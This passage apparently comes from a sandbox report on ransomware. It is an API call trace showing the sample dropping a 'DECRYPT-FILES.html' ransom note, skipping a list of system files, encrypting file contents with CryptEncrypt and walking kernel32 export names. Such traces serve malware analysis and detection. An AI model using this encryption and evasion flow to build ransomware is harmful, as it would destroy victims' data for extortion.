dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0137.800] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\") returned 27 [0137.800] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0137.800] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1055\\\\DECRYPT-FILES.html") returned 46 [0137.800] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1055\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0137.803] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0137.804] CloseHandle (hObject=0x470) returned 1 [0137.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\") returned 27 [0137.804] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1055\\*") returned="C:\\588bce7c90097ed212\\1055\\*" [0137.805] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5863cf25, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b80e80 [0137.805] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0137.805] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5863cf25, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0137.805] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0137.805] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0137.805] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5863cf25, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x5863cf25, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5863cf25, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0137.805] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0137.805] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5863cf25, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x5863cf25, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5863cf25, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0137.805] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0137.805] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0137.805] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0137.805] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0137.805] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0137.805] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0137.805] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0137.805] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0137.805] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0137.805] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0137.805] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\") returned 27 [0137.805] lstrlenW (lpString="eogwkz.dat") returned 10 [0137.805] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1055\\" | out: lpString1="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0137.805] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1055\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1055\\eogwkz.dat" [0137.805] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0137.806] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1055\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0137.806] CloseHandle (hObject=0x0) returned 0 [0137.806] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.806] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0137.806] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0137.806] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0137.806] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0137.806] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0137.807] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0137.807] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0137.807] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0137.807] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0137.807] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0137.807] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0137.807] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\") returned 27 [0137.807] lstrlenW (lpString="eula.rtf") returned 8 [0137.807] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1055\\" | out: lpString1="C:\\588bce7c90097ed212\\1055\\") returned="C:\\588bce7c90097ed212\\1055\\" [0137.807] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1055\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned="C:\\588bce7c90097ed212\\1055\\eula.rtf" [0137.807] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0137.807] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0137.807] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=3859) returned 1 [0137.807] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0137.807] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0138.203] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0138.203] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0138.203] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0138.204] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0138.204] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0138.204] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.204] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0138.205] CloseHandle (hObject=0x5f8) returned 1 [0138.205] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.205] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0138.259] CloseHandle (hObject=0x0) returned 0 [0138.259] CloseHandle (hObject=0x5f4) returned 1 [0138.259] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.260] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0138.260] GetTickCount () returned 0x37e39 [0138.260] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0138.260] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0138.260] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0138.260] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0138.261] lstrlenA (lpString="kernel32.dll") returned 12 [0138.261] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0138.261] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0138.261] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0138.261] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0138.261] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0138.261] lstrlenA (lpString="ADDATOMA") returned 8 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0138.261] lstrlenA (lpString="ADDATOMW") returned 8 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0138.261] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0138.261] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0138.261] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0138.261] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0138.261] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0138.261] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0138.261] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0138.261] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0138.261] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0138.261] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0138.261] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0138.262] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0138.262] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0138.262] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0138.262] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0138.262] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0138.262] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0138.262] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0138.262] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0138.262] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0138.262] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0138.262] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0138.262] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0138.262] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0138.262] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0138.262] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0138.262] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0138.262] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0138.262] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0138.262] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0138.262] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0138.262] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0138.262] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0138.263] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0138.263] lstrlenA (lpString="BACKUPREAD") returned 10 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0138.263] lstrlenA (lpString="BACKUPSEEK") returned 10 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0138.263] lstrlenA (lpString="BACKUPWRITE") returned 11 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0138.263] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0138.263] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0138.263] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0138.263] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0138.263] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0138.263] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0138.263] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0138.263] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0138.263] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0138.263] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0138.263] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0138.263] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0138.263] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0138.263] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0138.263] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0138.263] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0138.263] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0138.263] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0138.264] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0138.264] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0138.264] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0138.264] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0138.264] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0138.264] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0138.264] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0138.264] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0138.264] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0138.264] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0138.264] lstrcpyA (in: 